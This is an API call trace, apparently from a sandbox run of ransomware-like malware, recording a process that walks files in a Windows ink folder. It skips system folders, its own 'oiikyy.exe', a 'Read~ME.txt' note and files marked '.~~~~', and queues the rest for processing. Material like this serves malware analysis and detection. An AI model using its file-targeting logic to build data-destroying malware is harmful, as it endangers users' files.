	[0067.279] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", lpString2="C:\\Windows") returned -1
	[0067.279] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.279] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", lpString2="C:\\System Volume Information") returned -1
	[0067.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.279] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.279] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.279] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.279] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.280] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.280] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.280] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.280] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.280] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.280] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.280] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.280] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.280] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0067.280] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0067.280] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.280] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.280] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.280] GetCurrentThreadId () returned 0x618
	[0067.280] RtlWakeConditionVariable () returned 0x365f48
	[0067.280] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0067.280] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0067.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.281] GetCurrentThreadId () returned 0x618
	[0067.281] RtlWakeConditionVariable () returned 0x365f48
	[0067.282] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0067.282] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0067.282] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0067.282] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0067.282] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0067.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", lpSrch="AppData") returned 0x0
	[0067.282] lstrlenW (lpString="C:\\Windows") returned 10
	[0067.282] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", lpString2="C:\\Windows") returned -1
	[0067.282] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0067.282] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0067.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3b04c8
	[0067.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0067.463] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0067.463] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0067.464] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0067.464] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0067.464] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0067.464] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.464] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0067.464] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0067.464] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0067.464] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0067.464] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0067.464] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0067.464] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1
	[0067.464] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="Windows") returned -1
	[0067.464] lstrcmpW (lpString1="boxed-correct.avi", lpString2="oiikyy.exe") returned -1
	[0067.464] StrStrW (lpFirst="boxed-correct.avi", lpSrch=".~~~~") returned 0x0
	[0067.464] lstrcmpW (lpString1="boxed-correct.avi", lpString2="Read~ME.txt") returned -1
	[0067.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.464] GetCurrentThreadId () returned 0x618
	[0067.464] RtlWakeConditionVariable () returned 0x365f48
	[0067.465] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1
	[0067.465] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="Windows") returned -1
	[0067.465] lstrcmpW (lpString1="boxed-delete.avi", lpString2="oiikyy.exe") returned -1
	[0067.465] StrStrW (lpFirst="boxed-delete.avi", lpSrch=".~~~~") returned 0x0
	[0067.465] lstrcmpW (lpString1="boxed-delete.avi", lpString2="Read~ME.txt") returned -1
	[0067.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.465] GetCurrentThreadId () returned 0x618
	[0067.465] RtlWakeConditionVariable () returned 0x365f48
	[0067.465] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1
	[0067.465] lstrcmpiW (lpString1="boxed-join.avi", lpString2="Windows") returned -1
	[0067.465] lstrcmpW (lpString1="boxed-join.avi", lpString2="oiikyy.exe") returned -1
	[0067.465] StrStrW (lpFirst="boxed-join.avi", lpSrch=".~~~~") returned 0x0
	[0067.465] lstrcmpW (lpString1="boxed-join.avi", lpString2="Read~ME.txt") returned -1
	[0067.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.465] GetCurrentThreadId () returned 0x618
	[0067.465] RtlWakeConditionVariable () returned 0x365f48
	[0067.465] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1
	[0067.466] lstrcmpiW (lpString1="boxed-split.avi", lpString2="Windows") returned -1
	[0067.466] lstrcmpW (lpString1="boxed-split.avi", lpString2="oiikyy.exe") returned -1
	[0067.466] StrStrW (lpFirst="boxed-split.avi", lpSrch=".~~~~") returned 0x0
	[0067.466] lstrcmpW (lpString1="boxed-split.avi", lpString2="Read~ME.txt") returned -1
	[0067.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.466] GetCurrentThreadId () returned 0x618
	[0067.466] RtlWakeConditionVariable () returned 0x365f48
	[0067.466] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1
	[0067.466] lstrcmpiW (lpString1="correct.avi", lpString2="Windows") returned -1
	[0067.466] lstrcmpW (lpString1="correct.avi", lpString2="oiikyy.exe") returned -1
	[0067.466] StrStrW (lpFirst="correct.avi", lpSrch=".~~~~") returned 0x0
	[0067.466] lstrcmpW (lpString1="correct.avi", lpString2="Read~ME.txt") returned -1
	[0067.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.466] GetCurrentThreadId () returned 0x618
	[0067.466] RtlWakeConditionVariable () returned 0x365f48
	[0067.466] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1
	[0067.466] lstrcmpiW (lpString1="delete.avi", lpString2="Windows") returned -1
	[0067.466] lstrcmpW (lpString1="delete.avi", lpString2="oiikyy.exe") returned -1
	[0067.466] StrStrW (lpFirst="delete.avi", lpSrch=".~~~~") returned 0x0
	[0067.466] lstrcmpW (lpString1="delete.avi", lpString2="Read~ME.txt") returned -1
	[0067.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0067.467] GetCurrentThreadId () returned 0x618
	[0067.467] RtlWakeConditionVariable () returned 0x365f48
	[0067.467] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1
	[0067.467] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="Windows") returned -1
	[0067.467] lstrcmpW (lpString1="FlickLearningWizard.exe.mui", lpString2="oiikyy.exe") returned -1
	[0067.467] StrStrW (lpFirst="FlickLearningWizard.exe.mui", lpSrch=".~~~~") returned 0x0
	[0067.467] lstrcmpW (lpString1="FlickLearningWizard.exe.mui", lpString2="Read~ME.txt") returned -1
	[0067.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0067.467] GetCurrentThreadId () returned 0x618
	[0067.467] RtlWakeConditionVariable () returned 0x365f48
	[0067.467] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1
	[0067.467] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="Windows") returned -1
	[0067.467] lstrcmpW (lpString1="InkObj.dll.mui", lpString2="oiikyy.exe") returned -1
	[0067.467] StrStrW (lpFirst="InkObj.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.467] lstrcmpW (lpString1="InkObj.dll.mui", lpString2="Read~ME.txt") returned -1
	[0067.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.467] GetCurrentThreadId () returned 0x618
	[0067.467] RtlWakeConditionVariable () returned 0x365f48
	[0067.468] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1
	[0067.468] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="Windows") returned -1
	[0067.468] lstrcmpW (lpString1="InkWatson.exe.mui", lpString2="oiikyy.exe") returned -1
	[0067.468] StrStrW (lpFirst="InkWatson.exe.mui", lpSrch=".~~~~") returned 0x0
	[0067.468] lstrcmpW (lpString1="InkWatson.exe.mui", lpString2="Read~ME.txt") returned -1
	[0067.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.468] GetCurrentThreadId () returned 0x618
	[0067.468] RtlWakeConditionVariable () returned 0x365f48
	[0067.468] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1
	[0067.468] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="Windows") returned -1
	[0067.468] lstrcmpW (lpString1="InputPersonalization.exe.mui", lpString2="oiikyy.exe") returned -1
	[0067.468] StrStrW (lpFirst="InputPersonalization.exe.mui", lpSrch=".~~~~") returned 0x0
	[0067.468] lstrcmpW (lpString1="InputPersonalization.exe.mui", lpString2="Read~ME.txt") returned -1
	[0067.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0067.468] GetCurrentThreadId () returned 0x618
	[0067.468] RtlWakeConditionVariable () returned 0x365f48
	[0067.468] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1
	[0067.468] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="Windows") returned -1
	[0067.469] lstrcmpW (lpString1="IPSEventLogMsg.dll.mui", lpString2="oiikyy.exe") returned -1
	[0067.469] StrStrW (lpFirst="IPSEventLogMsg.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.469] lstrcmpW (lpString1="IPSEventLogMsg.dll.mui", lpString2="Read~ME.txt") returned -1
	[0067.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0067.469] GetCurrentThreadId () returned 0x618
	[0067.469] RtlWakeConditionVariable () returned 0x365f48
	[0067.469] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1
	[0067.469] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="Windows") returned -1
	[0067.469] lstrcmpW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="oiikyy.exe") returned -1
	[0067.469] StrStrW (lpFirst="IpsMigrationPlugin.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.469] lstrcmpW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="Read~ME.txt") returned -1
	[0067.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0067.469] GetCurrentThreadId () returned 0x618
	[0067.469] RtlWakeConditionVariable () returned 0x365f48
	[0067.469] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1
	[0067.469] lstrcmpiW (lpString1="join.avi", lpString2="Windows") returned -1
	[0067.469] lstrcmpW (lpString1="join.avi", lpString2="oiikyy.exe") returned -1
	[0067.469] StrStrW (lpFirst="join.avi", lpSrch=".~~~~") returned 0x0
	[0067.469] lstrcmpW (lpString1="join.avi", lpString2="Read~ME.txt") returned -1
	[0067.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0067.470] GetCurrentThreadId () returned 0x618
	[0067.470] RtlWakeConditionVariable () returned 0x365f48
	[0067.470] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1
	[0067.470] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="Windows") returned -1
	[0067.470] lstrcmpW (lpString1="micaut.dll.mui", lpString2="oiikyy.exe") returned -1
	[0067.470] StrStrW (lpFirst="micaut.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.470] lstrcmpW (lpString1="micaut.dll.mui", lpString2="Read~ME.txt") returned -1
	[0067.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.470] GetCurrentThreadId () returned 0x618
	[0067.470] RtlWakeConditionVariable () returned 0x365f48
	[0067.470] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1
	[0067.470] lstrcmpiW (lpString1="mip.exe.mui", lpString2="Windows") returned -1
	[0067.470] lstrcmpW (lpString1="mip.exe.mui", lpString2="oiikyy.exe") returned -1
	[0067.470] StrStrW (lpFirst="mip.exe.mui", lpSrch=".~~~~") returned 0x0
	[0067.470] lstrcmpW (lpString1="mip.exe.mui", lpString2="Read~ME.txt") returned -1
	[0067.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.470] GetCurrentThreadId () returned 0x618
	[0067.470] RtlWakeConditionVariable () returned 0x365f48
	[0067.470] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1
	[0067.471] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="Windows") returned -1
	[0067.471] lstrcmpW (lpString1="mshwLatin.dll.mui", lpString2="oiikyy.exe") returned -1
	[0067.471] StrStrW (lpFirst="mshwLatin.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.471] lstrcmpW (lpString1="mshwLatin.dll.mui", lpString2="Read~ME.txt") returned -1
	[0067.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.471] GetCurrentThreadId () returned 0x618
	[0067.471] RtlWakeConditionVariable () returned 0x365f48
	[0067.471] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1
	[0067.471] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="Windows") returned -1
	[0067.471] lstrcmpW (lpString1="rtscom.dll.mui", lpString2="oiikyy.exe") returned 1
	[0067.471] StrStrW (lpFirst="rtscom.dll.mui", lpSrch=".~~~~") returned 0x0
	[0067.471] lstrcmpW (lpString1="rtscom.dll.mui", lpString2="Read~ME.txt") returned 1
	[0067.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0067.471] GetCurrentThreadId () returned 0x618
	[0067.472] RtlWakeConditionVariable () returned 0x365f48
